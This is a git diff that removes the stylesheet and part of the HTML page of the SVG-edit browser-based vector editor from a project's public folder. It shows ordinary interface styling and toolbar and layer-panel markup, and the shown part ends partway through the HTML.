-
-#svg_editor .layer_buttonpressed {
-	width: 14px;
-	height: 14px;
-	padding: 1px;
-	border-right: 1px solid #FFFFFF;
-	border-bottom: 1px solid #FFFFFF;
-	border-left: 1px solid #808080;
-	border-top: 1px solid #808080;
-	cursor: pointer;
-}
-
-#svg_editor #layerlist {
-	margin: 1px;
-	padding: 0px;
-	width: 127px;
-	border-collapse: collapse;	
-	border: 1px solid #808080;
-	background-color: #FFFFFF;
-}
-
-#svg_editor #layerlist tr.layer {
-	background-color: #FFFFFF;
-	margin: 0px;
-	padding: 0px;
-}
-#svg_editor #layerlist tr.layersel {
-	border: 1px solid #808080;
-	background-color: #CCCCCC;
-}
-
-#svg_editor #layerlist td.layervis {
-	width: 22px;
-	cursor:pointer;
-}
-#svg_editor #layerlist td.layerinvis {
-	background-image: none;
-	cursor:pointer;
-}
-
-#svg_editor #layerlist td.layervis * {
-	display: block;
-}
-
-#svg_editor #layerlist td.layerinvis * {
-	display: none;
-}
-
-#svg_editor #layerlist td.layername {
-	cursor: pointer;
-}
-
-#svg_editor #layerlist tr.layersel td.layername {
-	font-weight: bold;
-}
-
-#svg_editor #selLayerLabel {
-	white-space: nowrap;
-}
-
-#svg_editor #selLayerNames {
-	display: block;
-}
-
-#svg_editor div.palette_item {
-	height: 16px;
-	width: 16px;
-	float: left;
-}
-
-#svg_editor #main_button {
-	position: absolute;
-	top: 4px;
-	left: 4px;
-	z-index: 5;
-}
-
-
-#svg_editor #main_icon {
-	background: #E8E8E8;
-	position: relative;
-	top: -2px;
-	left: -2px;
-	padding: 1px 0 2px 1px;
-	width: 44px;
-	height: 30px;
-	border-left: 1px solid #FFF;
-	border-top: 1px solid #FFF;
-	border-right: 1px solid #808080;
-	border-bottom: 1px solid #808080;
-	border-radius: 8px;
-	-moz-border-radius: 8px;
-	-webkit-border-radius: 8px;
-}
-
-#svg_editor .tool_button:hover, 
-#svg_editor .push_button:hover,
-#svg_editor .buttonup:hover,
-#svg_editor .buttondown,
-#svg_editor .tool_button_current,
-#svg_editor .push_button_pressed
-{
-	border-left: 1px #fcd9ba solid !important;
-	border-top: 1px #fcd9ba solid !important;
-	border-right: 1px #e0a874 solid !important;
-	border-bottom: 1px #e0a874 solid !important;
-	background-color: #FFC !important;
-}
-
-#svg_editor .tool_button_current,
-#svg_editor .push_button_pressed,
-#svg_editor .buttondown { 
-	background-color: #f4e284 !important;
-	border-top: 1px solid #630 !important;
-	border-left: 1px solid #630 !important;
-}
-
-#svg_editor #main_icon span {
-	position: absolute;
-	width: 100%;
-	height: 100%;
-	display: block;
-	z-index: 2;
-}
-
-#svg_editor #main_menu {
-	z-index: 12;
-	background: #E8E8E8;
-	position: relative;
-	width: 230px;
-	padding: 5px;
-	-moz-box-shadow: #555 1px 1px 4px;
-	-webkit-box-shadow: #555 1px 1px 4px;
-	font-size: 1.1em;
-	display: none;
-	overflow: hidden;
-	border: 1px outset gray;
-	clear: both;
-}
-
-#svg_editor #main_menu ul,
-#svg_editor #main_menu li {
-	list-style: none;
-	margin: 0;
-	padding: 0;
-}
-
-#svg_editor #main_menu li {
-/*	height: 35px;*/
-	line-height: 22px;
-	padding-top: 7px;
-	padding-left: 7px;
-	margin: -5px;
-	overflow: auto;
-	cursor: default;
-}
-
-#svg_editor #main_menu li:hover {
-	background: #FFC;
-}
-
-#svg_editor #main_menu li > div {
-	float: left;
-	padding-right: 5px;
-}
-
-#svg_editor #main_menu p {
-	margin-top: 5px;
-}
-
-#svg_editor #logo img {
-	border: 0;
-	width: 32px;
-	height: 32px;
-}
-
-
-
-#main_icon > div {
-	float: left;
-}
-
-#svg_editor #main_button .dropdown {
-	padding-top: 28%;
-	margin-left: -1px;
-}
-
-
-
-#svg_editor #tools_top {
-	position: absolute;
-	left: 50px;
-	right: 2px;
-	top: 2px;
-	height: 72px;
-	border-bottom: none;
-	overflow: auto;
-}
-
-#svg_editor #tools_left {
-	position: absolute;
-	border-right: none;
-	width: 32px;
-	top: 75px;
-	left: 0;
-	padding-left: 2px;
-	background: #D0D0D0; /* Needed so flyout icons don't appear on the left */
-	z-index: 4;
-}
-
-#workarea.wireframe #svgcontent * {
-	fill: none;
-	stroke: #000;
-	stroke-width: 1px;
-	stroke-opacity: 1.0;
-	stroke-dasharray: 0;
-	opacity: 1;
-	pointer-events: stroke;
-	vector-effect: non-scaling-stroke;
-	filter: none;
-}
-
-#workarea.wireframe #svgcontent text {
-	fill: #000;
-	stroke: none;
-}
-
-#workarea.wireframe #canvasBackground > rect {
-	fill: #FFF !important;
-}
-
-#tools_top div[id$="_panel"]:not(#editor_panel):not(#history_panel) {
-	display: none;
-}
-
-#svg_editor #multiselected_panel .selected_tool {
-	vertical-align: 12px;
-}
-
-#cur_context_panel {
-	position: absolute;
-	top: 77px;
-	left: 40px;
-	right: 0;
-	line-height: 22px;
-	overflow: auto;
-	border: 1px solid #777;
-	border-bottom: none;
-	border-right: none;
-	padding-left: 5px;
-	font-size: 12px;
-}
-
-#svg_editor #cur_context_panel a {
-	float: none;
-	text-decoration: none;
-}
-
-#svg_editor #cur_context_panel a:hover {
-	text-decoration: underline;
-}
-
-#svg_editor #tools_top > div, #tools_top {
-	line-height: 26px;
-}
-
-#svg_editor div.toolset,
-#svg_editor div.toolset > * {
-	float: left;
-}
-
-#svg_editor div.toolset {
-	height: 34px;
-}
-
-#svg_editor div.toolset label span {
-/*	outline: 1px solid red;*/
-	padding-top: 3px;
-	display: inline-block;
-}
-
-#tools_top > div > * {
-	float: left;
-	margin-right: 2px;
-}
-
-#tools_top label {
-	margin-top: 0;
-	margin-left: 5px;
-}
-
-#tools_top input {
-	margin-top: 5px;
-	height: 15px;
-}
-
-#svg_editor #tools_left .tool_button,
-#svg_editor #tools_left .tool_button_current {
-	position: relative;
-	z-index: 11;
-}
-
-#svg_editor .flyout_arrow_horiz {
-	position: absolute;
-	bottom: -1px;
-	right: 0;
-	z-index: 10;
-}
-
-
-span.zoom_tool {
-	line-height: 26px;
-	padding: 3px;
-}
-
-#zoom_panel {
-	margin-top: 5px;
-}
-
-.dropdown {
-	position: relative;
-}
-
-#svg_editor .dropdown button {
-	width: 15px;
-	height: 21px;
-	margin: 6px 0 0 1px;
-	padding: 0;
-	border-left: 1px solid #FFFFFF;
-	border-top: 1px solid #FFFFFF;
-	border-right: 1px solid #808080;
-	border-bottom: 1px solid #808080;
-	background-color: #E8E8E8;
-}
-
-.dropdown button.down {
-	border-left: 1px solid #808080;
-	border-top: 1px solid #808080;
-	border-right: 1px solid #FFFFFF;
-	border-bottom: 1px solid #FFFFFF;
-	background-color: #B0B0B0;
-}
-
-.dropdown ul {
-	list-style: none;
-	position: absolute;
-	margin: 0;
-	padding: 0;
-	left: -80px;
-	top: 26px;
-	z-index: 4;
-	display: none;
-}
-
-.dropup ul {
-	top: auto;
-	bottom: 26px;
-}
-
-.dropdown li {
-	display: block;
-	width: 120px;
-	padding: 4px;
-	background: #E8E8E8;
-	border: 1px solid #B0B0B0;
-	margin: 0 0 -1px 0;
-	line-height: 16px;
-}
-
-.dropdown li:hover {
-	background-color: #FFC;
-}
-
-.dropdown li.special {
-	padding: 10px 4px; 
-}
-
-.dropdown li.special:hover {
-	background: #FFC;
-}
-
-#font_family_dropdown-list li {
-	font-size: 1.4em;
-}
-
-#font_family {
-	margin-left: 5px;
-	margin-right: 0;
-}
-
-
-#svg_editor .tool_button, 
-#svg_editor .push_button,
-#svg_editor .tool_button_current,
-#svg_editor .push_button_pressed 
-{
-	height: 24px;
-	width: 24px;
-	margin: 2px;
-	padding: 2px;
-	border-left: 1px solid #FFF;
-	border-top: 1px solid #FFF;
-	border-right: 1px solid #808080;
-	border-bottom: 1px solid #808080;
-	background-color: #E8E8E8;
-	cursor: pointer;
-	border-radius: 5px;
-	-moz-border-radius: 5px;
-	-webkit-border-radius: 5px;
-}
-
-#svg_editor #main_menu li#tool_open, #svg_editor #main_menu li#tool_import {
-	position: relative;
-	overflow: hidden;
-}
-
-#tool_image {
-	overflow: hidden;
-}
-
-#tool_open input, 
-#tool_import input,
-#tool_image input {
-	position: absolute;
-	opacity: 0;
-	font-size: 10em;
-	top: -5px;
-	right: -5px;
-	margin: 0;
-	cursor: pointer; /* Sadly doesn't appear to have an effect */
-}
-
-#svg_editor .disabled {
-	opacity: 0.5;
-	cursor: default;
-}
-
-#svg_editor .tool_sep {
-	width: 1px;
-	background: #888;
-	border-left: 1px outset #EEE;
-	margin: 2px 3px;
-	padding: 0;
-	height: 24px;
-
-}
-
-#svg_editor .icon_label {
-	float: left;
-	padding-top: 3px;
-	padding-right: 3px;
-	box-sizing: border-box;
-	-moz-box-sizing: border-box;
-	-webkit-box-sizing: border-box;
-	height: 0;
-}
-
-#svg_editor .width_label {
-	padding-right: 5px;
-}
-
-#tool_bold, #tool_italic { 
-	font: bold 2.1em/1.1em serif;
-	text-align: center;
-	padding-left: 2px;
-	position: relative;
-}
-
-#text {
-	position: absolute;
-	left: -9999px;
-}
-
-#tool_bold span, #tool_italic span { 
-	position: absolute;
-	width: 100%;
-	height: 100%;
-	top: 0; left: 0;
-	background: #000;
-	opacity: 0;
-}
-
-#tool_italic {
-	font-weight: normal;
-	font-style: italic;
-}
-
-#url_notice {
-	padding-top: 4px;
-	display: none;
-}
-
-#svg_editor #color_picker {
-	position: absolute;
-	display: none;
-	background: #E8E8E8;
-	height: 350px;
-	z-index: 5;
-}
-
-#svg_editor .tools_flyout {
-	position: absolute;
-	display: none;
-	cursor: pointer;
-	width: 400px;
-	z-index: 1;
-}
-
-#svg_editor .tools_flyout_v {
-	position: absolute;
-	display: none;
-	cursor: pointer;
-	width: 30px;
-}
-
-#svg_editor .tools_flyout .tool_button {
-	float: left;
-	background-color: #E8E8E8;
-	border-left: 1px solid #FFFFFF;
-	border-top: 1px solid #FFFFFF;
-	border-right: 1px solid #808080;
-	border-bottom: 1px solid #808080;
-	height: 28px;
-	width: 28px;
-}
-
-#svg_editor #tools_bottom {
-	position: absolute;
-	left: 40px;
-	right: 0;
-	bottom: 0;
-	height: 64px;
-	overflow: visible;
-}
-
-#svg_editor #tools_bottom_1 {
-	width: 115px;
-	float: left;
-}
-
-#svg_editor #tools_bottom_2 {
-	width: 165px;
-	position: relative;
-	float: left;
-}
-
-#tools_bottom input[type=text] {
-	width: 2.2em;
-}
-
-#svg_editor #color_tools {
-	display: table;
-	margin-top: 1px;
-	border-spacing: 0 3px;
-	clip: rect(0,0,10px,0);
-}
-
-.color_tool {
-	display: table-row;
-	overflow: hidden;
-	height: 26px;
-	padding: 0 4px;
-}
-
-.color_tool > * {
-	display: table-cell;
-	background: #f0f0f0;
-	padding: 0 5px 0 0;
-	vertical-align: middle;
-/*	height: 25px;*/
-}
-
-#toggle_stroke_tools {
-	letter-spacing: -.2em;
-	padding-right: 8px;
-}
-
-#toggle_stroke_tools:hover {
-	cursor: pointer;
-	background: #FFC;
-}
-
-.stroke_tool {
-	display: none;
-	white-space: nowrap;
-}
-
-#svg_editor .stroke_tool button {
-	margin-top: 3px;
-	background: #F0F0F0;
-}
-
-#svg_editor .stroke_tool div div {
-	-moz-user-select: none;
-	-webkit-user-select: none;
-	width: 20px;
-	height: 20px;
-	margin: 1px 0;
-	padding: 1px;
-	border: 1px solid #DDD;
-}
-
-#svg_editor .stroke_tool:hover div > * {
-	background-color: #FFC;
-}
-
-#svg_editor .stroke_tool.down div div,
-#svg_editor .stroke_tool.down button,
-#tools_top .dropdown.down > * {
-	border: 1px inset gray;
-	background: #F4E284;
-}
-
-.stroke_tool > div {
-	width: 42px;
-}
-
-.stroke_tool > div > * {
-	float: left;
-}
-
-
-#tools_top .dropdown .icon_label {
-	border: 1px solid transparent;
-/*	margin-top: 3px;*/
-	height: auto;
-}
-
-#option_lists ul {
-	display: none;
-	position: absolute;
-	height: auto;
-	z-index: 3;
-	margin: 0;
-	list-style: none;
-	padding-left: 0;
-}
-
-#option_lists .optcols2 {
-	width: 70px;
-	margin-left: -15px;
-}
-
-#option_lists .optcols3 {
-	width: 90px;
-	margin-left: -31px;
-}
-
-#option_lists .optcols4 {
-	width: 130px;
-	margin-left: -44px;
-}
-
-#option_lists ul[class^=optcols] li {
-	float: left;
-}
-
-#svg_editor ul li.current {
-	background-color: #F4E284;
-}
-
-#svg_editor #option_lists ul li {
-	margin: 0;
-	border-radius: 0;
-	-moz-border-radius: 0;
-	-webkit-border-radius: 0;
-}
-
-.color_tool > *:first-child {
-	-moz-border-radius-topleft: 4px;
-	-moz-border-radius-bottomleft: 4px;
-	-webkit-border-top-left-radius: 4px;
-	-webkit-border-bottom-left-radius: 4px;
-	padding-right: 0;
-}
-
-.color_tool > *:last-child {
-	-moz-border-radius-topright: 4px;
-	-moz-border-radius-bottomright: 4px;
-	-webkit-border-top-right-radius: 4px;
-	-webkit-border-bottom-right-radius: 4px;
-}
-
-#svg_editor #tool_opacity {
-	position: absolute;
-	top: 4px;
-	right: 2px;
-	background: #f0f0f0;
-	height: 26px;
-	border-radius: 4px;
-	-moz-border-radius: 4px;
-	-webkit-border-radius: 4px;
-	padding: 0 3px;
-}
-
-#tools_bottom .dropdown button {
-	margin-top: 2px;
-}
-
-#opacity_dropdown li {
-	width: 140px;
-}
-
-#svg_editor #copyright {
-	text-align: right;
-	padding-right: .3em;
-}
-
-#svg_source_editor {
-	display: none;
-}
-
-#svg_source_editor #svg_source_overlay {
-	position: absolute;
-	top: 0px;
-	right: 0px;
-	left: 0px;
-	bottom: 0px;
-	background-color: black;
-	opacity: 0.6;
-	z-index: 5;
-}
-
-#svg_source_editor #svg_source_container {
-	position: absolute;
-	top: 30px;
-	left: 30px;
-	right: 30px;
-	bottom: 30px;
-	background-color: #B0B0B0;
-	opacity: 1.0;
-	text-align: center;
-	border: 1px outset #777;
-	z-index: 6;
-}
-
-#save_output_btns {
-	display: none;
-	text-align: left;
-}
-
-#save_output_btns p {
-	margin: .5em 1.5em;
-	display: inline-block;
-}
-
-#bg_blocks {
-	overflow: auto;
-	margin-left: 30px;
-}
-
-#svg_docprops #svg_docprops_container,
-#svg_prefs #svg_prefs_container {
-	position: absolute;
-	top: 50px;
-	padding: 10px;
-	background-color: #B0B0B0;
-	border: 1px outset #777;
-	opacity: 1.0;
-/*	width: 450px;*/
-	font-family: Verdana, Helvetica, sans-serif;
-	font-size: .8em;
-	z-index: 20001;
-}
-
-#svg_docprops .error {
-	border: 1px solid red;
-	padding: 3px;
-}
-
-#svg_docprops #resolution {
-	max-width: 14em;
-}
-
-#tool_docprops_back, 
-#tool_prefs_back {
-	margin-left: 1em;
-	overflow: auto;
-}
-
-#svg_docprops_container #svg_docprops_docprops, 
-#svg_prefs #svg_docprops_prefs {
-	float: left;
-	width: 221px;
-	margin: 5px .7em; 
-	overflow: hidden;
-}
-
-#svg_prefs_container fieldset + fieldset {
-	float: right;
-}
-
-#svg_docprops legend, 
-#svg_prefs legend {
-	max-width: 195px;
-}
-
-#svg_docprops_docprops > legend, 
-#svg_prefs_container > fieldset > legend {
-	font-weight: bold;
-	font-size: 1.1em;
-}
-
-
-#svg_docprops_container fieldset,
-#svg_prefs fieldset {
-	padding: 5px;
-	margin: 5px;
-	border: 1px solid #DDD;
-}
-
-#svg_docprops_container label,
-#svg_prefs_container label {
-	display: block;
-	margin: .5em;
-}
-
-#svginfo_bg_note {
-	font-size: .9em;
-	font-style: italic;
-	color: #444;
-}
-
-#canvas_title, #canvas_bg_url {
-	display: block;
-	width: 96%;
-}
-
-#svg_source_editor #svg_source_textarea {
-	position: relative;
-	width: 95%;
-	top: 5px;
-	height: 250px;
-	padding: 5px;
-	font-size: 12px;
-}
-
-#svg_source_editor #tool_source_back {
-	text-align: left;
-	padding-left: 20px;
-}
-
-#svg_prefs_container div.color_block {
-	float: left;
-	margin: 2px;
-	padding: 20px;
-}
-
-#change_background div.cur_background {
-	border: 2px solid blue;
-	padding: 18px;
-}
-
-#background_img {
-	position: absolute;
-	top: 0;
-	left: 0;
-	text-align: left;
-}
-
-#svg_docprops button,
-#svg_prefs button {
-	margin-top: 0;
-	margin-bottom: 5px;
-}
-
-#svg_docprops,
-#svg_prefs {
-	display: none;
-}
-
-#image_save_opts label {
-	font-size: .9em;
-}
-
-#image_save_opts input {
-	margin-left: 0;
-}
-
-#svg_docprops #svg_docprops_overlay,
-#svg_prefs #svg_prefs_overlay {
-	position: absolute;
-	top: 0px;
-	right: 0px;
-	left: 0px;
-	bottom: 0px;
-	background-color: black;
-	opacity: 0.6;
-	z-index: 20000;
-}
-
-#tool_prefs_option {
-	float: right;
-}
-
-.toolbar_button button {
-    border:1px solid #dedede;
-    line-height:130%;
-    float: left;
-	background: #E8E8E8 none;
-    padding:5px 10px 5px 7px; /* Firefox */
-    line-height:17px; /* Safari */
-	margin: 5px 20px 0 0;	
-	
-	border: 1px #808080 solid;
-	border-top-color: #FFF;
-	border-left-color: #FFF;
-
-	border-radius: 5px;
-	-moz-border-radius: 5px;
-	-webkit-border-radius: 5px;
-}
-
-.toolbar_button button:hover {
-	border: 1px #e0a874 solid;
-	border-top-color: #fcd9ba;
-	border-left-color: #fcd9ba;
-	background-color: #FFC;
-}
-.toolbar_button button:active {
-	background-color: #F4E284;
-	border-left: 1px solid #663300;
-	border-top: 1px solid #663300;
-}
-
-.toolbar_button button .svg_icon {
-    margin:0 3px -3px 0 !important;
-    padding:0;
-    border:none;
-    width:16px;
-    height:16px;
-}
-
-#dialog_box {
-	display: none;
-}
-
-#dialog_box_overlay {
-	background: black;
-	opacity: .5;
-	height:100%;
-	left:0;
-	position:absolute;
-	top:0;
-	width:100%;
-	z-index: 6;
-}
-
-#dialog_content {
-	height: 95px;
-	margin: 10px 10px 5px 10px;
-	background: #DDD;
-	overflow: auto;
-	text-align: left;
-	border: 1px solid #B0B0B0;
-}
-
-#dialog_content.prompt {
-	height: 75px;
-}
-
-#dialog_content p {
-	margin: 10px;
-	line-height: 1.3em;
-}
-
-#dialog_container {
-	position: absolute;
-	font-family: Verdana;
-	text-align: center;
-	left: 50%;
-	top: 50%;
-	width: 300px;
-	margin-left: -150px;
-	height: 150px;
-	margin-top: -80px;
-	position:fixed;
-	z-index:50001;
-	background: #CCC;
-	border: 1px outset #777;
-	font-family:Verdana,Helvetica,sans-serif;
-	font-size:0.8em;
-}
-
-#dialog_container, #dialog_content {
-	border-radius: 5px;
-	-moz-border-radius: 5px;
-	-webkit-border-radius: 5px;
-}
-
-#dialog_buttons input[type=text] {
-	width: 90%;
-	display: block;
-	margin: 0 0 5px 11px;
-}
-
-#dialog_buttons input[type=button] {
-	margin: 0 1em;
-}
-
-
-/* Slider
-----------------------------------*/
-.ui-slider { position: relative; text-align: left; }
-.ui-slider .ui-slider-handle { position: absolute; z-index: 2; width: 1.2em; height: 1.2em; cursor: default; }
-.ui-slider .ui-slider-range { position: absolute; z-index: 1; font-size: .7em; display: block; border: 0; }
-
-.ui-slider-horizontal { height: .8em; }
-.ui-slider-horizontal .ui-slider-handle { top: -.3em; margin-left: -.6em; }
-.ui-slider-horizontal .ui-slider-range { top: 0; height: 100%; }
-.ui-slider-horizontal .ui-slider-range-min { left: 0; }
-.ui-slider-horizontal .ui-slider-range-max { right: 0; }
-
-.ui-slider-vertical { width: .8em; height: 100px; }
-.ui-slider-vertical .ui-slider-handle { left: -.3em; margin-left: 0; margin-bottom: -.6em; }
-.ui-slider-vertical .ui-slider-range { left: 0; width: 100%; }
-.ui-slider-vertical .ui-slider-range-min { bottom: 0; }
-.ui-slider-vertical .ui-slider-range-max { top: 0; }
-
-.ui-slider {
-	border: 1px solid #B0B0B0;
-}
-
-.ui-slider-handle {
-	background: #B0B0B0;
-	border: 1px solid #000;
-}
-
-/* Necessary to keep the flyouts sized properly */
-#svg_editor .tools_flyout .tool_button,
-#svg_editor .tools_flyout .tool_flyout {
-	padding: 2px;
-	width: 24px;
-	height: 24px;
-	margin: 0;
-	border-radius: 0px;
-	-moz-border-radius: 0px;
-	-webkit-border-radius: 0px;	
-}
-
-/* Generic context menu styles */
-.contextMenu {
-	position: absolute;
-	z-index: 99999;
-	border: solid 1px rgba(0,0,0,.33);
-	background: rgba(255,255,255,.95);
-	padding: 5px 0;
-	margin: 0px;
-	display: none;
-	font: 12px/15px Lucida Sans, Helvetica, Verdana, sans-serif;
-	border-radius: 5px;
-	-moz-border-radius: 5px;
-	-moz-box-shadow: 2px 5px 10px rgba(0,0,0,.3);
-	-webkit-box-shadow: 2px 5px 10px rgba(0,0,0,.3);
-	box-shadow: 2px 5px 10px rgba(0,0,0,.3);
-}
-
-.contextMenu LI {
-	list-style: none;
-	padding: 0px;
-	margin: 0px;
-}
-
-.contextMenu .shortcut {
-	width: 115px;           
-	text-align:right;
-	float:right;
-}
-
-.contextMenu A {
-	-moz-user-select: none;
-	-webkit-user-select: none;
-	color: #222;
-	text-decoration: none;
-	display: block;
-	line-height: 20px;
-	height: 20px;
-	background-position: 6px center;
-	background-repeat: no-repeat;
-	outline: none;
-	padding: 0px 15px 1px 20px;
-}
-
-.contextMenu LI.hover A {
-	background-color: #2e5dea;
-	color: white;
-	cursor: default;
-}
-
-.contextMenu LI.disabled A {
-	color: #999;
-}
-
-.contextMenu LI.hover.disabled A {
-	background-color: transparent;
-}
-
-.contextMenu LI.separator {
-	border-top: solid 1px #E3E3E3;
-	padding-top: 5px;
-	margin-top: 5px;
-}
-
-/*
-	Adding Icons
-	
-	You can add icons to the context menu by adding
-	classes to the respective LI element(s)
-*/
-/*
-
-.contextMenu LI.edit A { background-image: url(images/page_white_edit.png); }
-.contextMenu LI.cut A { background-image: url(images/cut.png); }
-.contextMenu LI.copy A { background-image: url(images/page_white_copy.png); }
-.contextMenu LI.paste A { background-image: url(images/page_white_paste.png); }
-.contextMenu LI.delete A { background-image: url(images/page_white_delete.png); }
-.contextMenu LI.quit A { background-image: url(images/door.png); }
-*/
-foreignObject {line-height:1.0}
diff --git a/public/svg-edit/editor/svg-editor.html b/public/svg-edit/editor/svg-editor.html
deleted file mode 100644
index 0e4a18d5..00000000
--- a/public/svg-edit/editor/svg-editor.html
+++ /dev/null
@@ -1,791 +0,0 @@
-<!DOCTYPE html>
-<html>
-<!-- removed for now, causes problems in Firefox: manifest="svg-editor.manifest" -->
-<head>
-<meta http-equiv="Content-type" content="text/html;charset=UTF-8" />
-<meta http-equiv="X-UA-Compatible" content="chrome=1"/>
-<link rel="icon" type="image/png" href="images/logo.png"/>
-<link rel="stylesheet" href="jgraduate/css/jPicker.css" type="text/css"/>
-<link rel="stylesheet" href="jgraduate/css/jgraduate.css" type="text/css"/>
-<link rel="stylesheet" href="svg-editor.css" type="text/css"/>
-<link rel="stylesheet" href="spinbtn/JQuerySpinBtn.css" type="text/css"/>
-
-<!--{if jquery_release}>
-  <script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jquery/1.4/jquery.js"></script>
-<!{else}-->
-  <script type="text/javascript" src="jquery.js"></script>
-<!--{endif}-->
-
-<script type="text/javascript" src="js-hotkeys/jquery.hotkeys.min.js"></script>
-<script type="text/javascript" src="jquerybbq/jquery.bbq.min.js"></script>
-<script type="text/javascript" src="svgicons/jquery.svgicons.js"></script>
-<script type="text/javascript" src="jgraduate/jquery.jgraduate.min.js"></script>
-<script type="text/javascript" src="spinbtn/JQuerySpinBtn.min.js"></script>
-<script type="text/javascript" src="contextmenu/jquery.contextMenu.min.js"></script>
-
-<!--{if svg_edit_release}>
-  <script type="text/javascript" src="svgedit.compiled.js"></script>
-<!{else}-->
-  <script type="text/javascript" src="browser.js"></script>
-  <script type="text/javascript" src="svgtransformlist.js"></script>
-  <script type="text/javascript" src="math.js"></script>
-  <script type="text/javascript" src="units.js"></script>
-  <script type="text/javascript" src="svgutils.js"></script>
-  <script type="text/javascript" src="sanitize.js"></script>
-  <script type="text/javascript" src="history.js"></script>
-  <script type="text/javascript" src="select.js"></script>
-  <script type="text/javascript" src="draw.js"></script>
-  <script type="text/javascript" src="path.js"></script>
-  <script type="text/javascript" src="svgcanvas.js"></script>
-  <script type="text/javascript" src="svg-editor.js"></script>
-  <script type="text/javascript" src="locale/locale.js"></script>
-<!--{endif}-->
-
-<!-- you can load extensions here -->
-<!-- <script type="text/javascript" src="extensions/ext-helloworld.js"></script> -->
-
-<!-- always minified scripts -->
-<script type="text/javascript" src="jquery-ui/jquery-ui-1.8.custom.min.js"></script>
-<script type="text/javascript" src="jgraduate/jpicker.min.js"></script>
-
-<!-- feeds -->
-<link rel="alternate" type="application/atom+xml" title="SVG-edit General Discussion" href="http://groups.google.com/group/svg-edit/feed/atom_v1_0_msgs.xml" />
-<link rel="alternate" type="application/atom+xml" title="SVG-edit Updates (Issues/Fixes/Commits)" href="http://code.google.com/feeds/p/svg-edit/updates/basic" />
-
-<!-- Add script with custom handlers here -->
-<title>SVG-edit</title>
-</head>
-<body>
-<div id="svg_editor">
-
-<div id="rulers">
-	<div id="ruler_corner"></div>
-	<div id="ruler_x">
-		<div>
-			<canvas height="15"></canvas>
-		</div>
-	</div>
-	<div id="ruler_y">
-		<div>
-			<canvas width="15"></canvas>
-		</div>
-	</div>
-</div>
-
-<div id="workarea">
-<style id="styleoverrides" type="text/css" media="screen" scoped="scoped"></style>
-<div id="svgcanvas" style="position:relative">
-
-</div>
-</div>
-
-<div id="sidepanels">
-	<div id="layerpanel">
-		<h3 id="layersLabel">Layers</h3>
-		<fieldset id="layerbuttons">
-			<div id="layer_new" class="layer_button"  title="New Layer"></div>
-			<div id="layer_delete" class="layer_button"  title="Delete Layer"></div>
-			<div id="layer_rename" class="layer_button"  title="Rename Layer"></div>
-			<div id="layer_up" class="layer_button"  title="Move Layer Up"></div>
-			<div id="layer_down" class="layer_button"  title="Move Layer Down"></div>
-			<div id="layer_moreopts" class="layer_button"  title="More Options"></div>
-		</fieldset>
-		
-		<table id="layerlist">
-			<tr class="layer">
-				<td class="layervis"></td>
-				<td class="layername">Layer 1</td>
-			</tr>
-		</table>
-		<span id="selLayerLabel">Move elements to:</span>
-		<select id="selLayerNames" title="Move selected elements to a different layer" disabled="disabled">
-			<option selected="selected" value="layer1">Layer 1</option>
-		</select>
-	</div>
-	<div id="sidepanel_handle" title="Drag left/right to resize side panel [X]">L a y e r s</div>
-</div>
-
-<div id="main_button">
-	<div id="main_icon" class="buttonup" title="Main Menu">
-		<span></span>
-		<div id="logo"></div>
-		<div class="dropdown"></div>
-	</div>
-		
-	<div id="main_menu"> 
-	
-		<!-- File-like buttons: New, Save, Source -->
-		<ul>
-			<li id="tool_clear">
-				<div></div>
-				New Image (N)
-			</li>
-			
-			<li id="tool_open" style="display:none;">
-				<div id="fileinputs">
-					<div></div>
-				</div>
-				Open Image
-			</li>
-			
-			<li id="tool_import" style="display:none;">
-				<div id="fileinputs_import">
-					<div></div>
-				</div>
-				Import SVG
-			</li>
-			
-			<li id="tool_save">
-				<div></div>
-				Save Image (S)
-			</li>
-			
-			<li id="tool_export">
-				<div></div>
-				Export as PNG
-			</li>
-			
-			<li id="tool_docprops">
-				<div></div>
-				Document Properties (D)
-			</li>
-		</ul>
-
-		<p>
-			<a href="http://svg-edit.googlecode.com/" target="_blank">
-				SVG-edit Home Page
-			</a>
-		</p>
-
-		<button id="tool_prefs_option">
-			Editor Options
-		</button>
-
-
-	</div>
-</div>
-
-
-
-<div id="tools_top" class="tools_panel">
-	
-	<div id="editor_panel">
-		<div class="push_button" id="tool_source" title="Edit Source [U]"></div>
-		<div class="tool_button" id="tool_wireframe" title="Wireframe Mode [F]"></div>
-	</div>
-
-    <!-- History buttons -->
-	<div id="history_panel">
-		<div class="tool_sep"></div>
-		<div class="push_button tool_button_disabled" id="tool_undo" title="Undo [Z]"></div>
-		<div class="push_button tool_button_disabled" id="tool_redo" title="Redo [Y]"></div>
-	</div>
-	
-	<!-- Buttons when a single element is selected -->
-	<div id="selected_panel">
-		<div class="toolset">
-			<div class="tool_sep"></div>
-			<div class="push_button" id="tool_clone" title="Duplicate Element [D]"></div>
-			<div class="push_button" id="tool_delete" title="Delete Element [Delete/Backspace]"></div>
-			<div class="tool_sep"></div>
-			<div class="push_button" id="tool_move_top" title="Bring to Front [ Ctrl+Shift+] ]"></div>
-			<div class="push_button" id="tool_move_bottom" title="Send to Back [ Ctrl+Shift+[ ]"></div>
-			<div class="push_button" id="tool_topath" title="Convert to Path"></div>
-			<div class="push_button" id="tool_reorient" title="Reorient path"></div>
-			<div class="push_button" id="tool_make_link" title="Make (hyper)link"></div>
-			<div class="tool_sep"></div>
-<!--
-			<label id="idLabel" title="Identify the element">
-				<span>id:</span>
-				<input id="elem_id" class="attr_changer" data-attr="id" size="10" type="text"/>
-			</label>
--->
-		</div>
-
-		<label id="tool_angle" title="Change rotation angle" class="toolset">
-			<span id="angleLabel" class="icon_label"></span>
-			<input id="angle" size="2" value="0" type="text"/>
-		</label>
-		
-		<div class="toolset" id="tool_blur" title="Change gaussian blur value">
-			<label>
-				<span id="blurLabel" class="icon_label"></span>
-				<input id="blur" size="2" value="0" type="text"/>
-			</label>
-			<div id="blur_dropdown" class="dropdown">
-				<button></button>
-				<ul>
-					<li class="special"><div id="blur_slider"></div></li>
-				</ul>
-			</div>
-		</div>
-		
-		<div class="dropdown toolset" id="tool_position" title="Align Element to Page">
-				<div id="cur_position" class="icon_label"></div>
-				<button></button>
-		</div>		
-
-		<div id="xy_panel" class="toolset">
-			<label>
-				x: <input id="selected_x" class="attr_changer" title="Change X coordinate" size="3" data-attr="x"/>
-			</label>
-			<label>
-				y: <input id="selected_y" class="attr_changer" title="Change Y coordinate" size="3" data-attr="y"/>
-			</label>
-		</div>
-	</div>
-	
-	<!-- Buttons when multiple elements are selected -->
-	<div id="multiselected_panel">
-		<div class="tool_sep"></div>
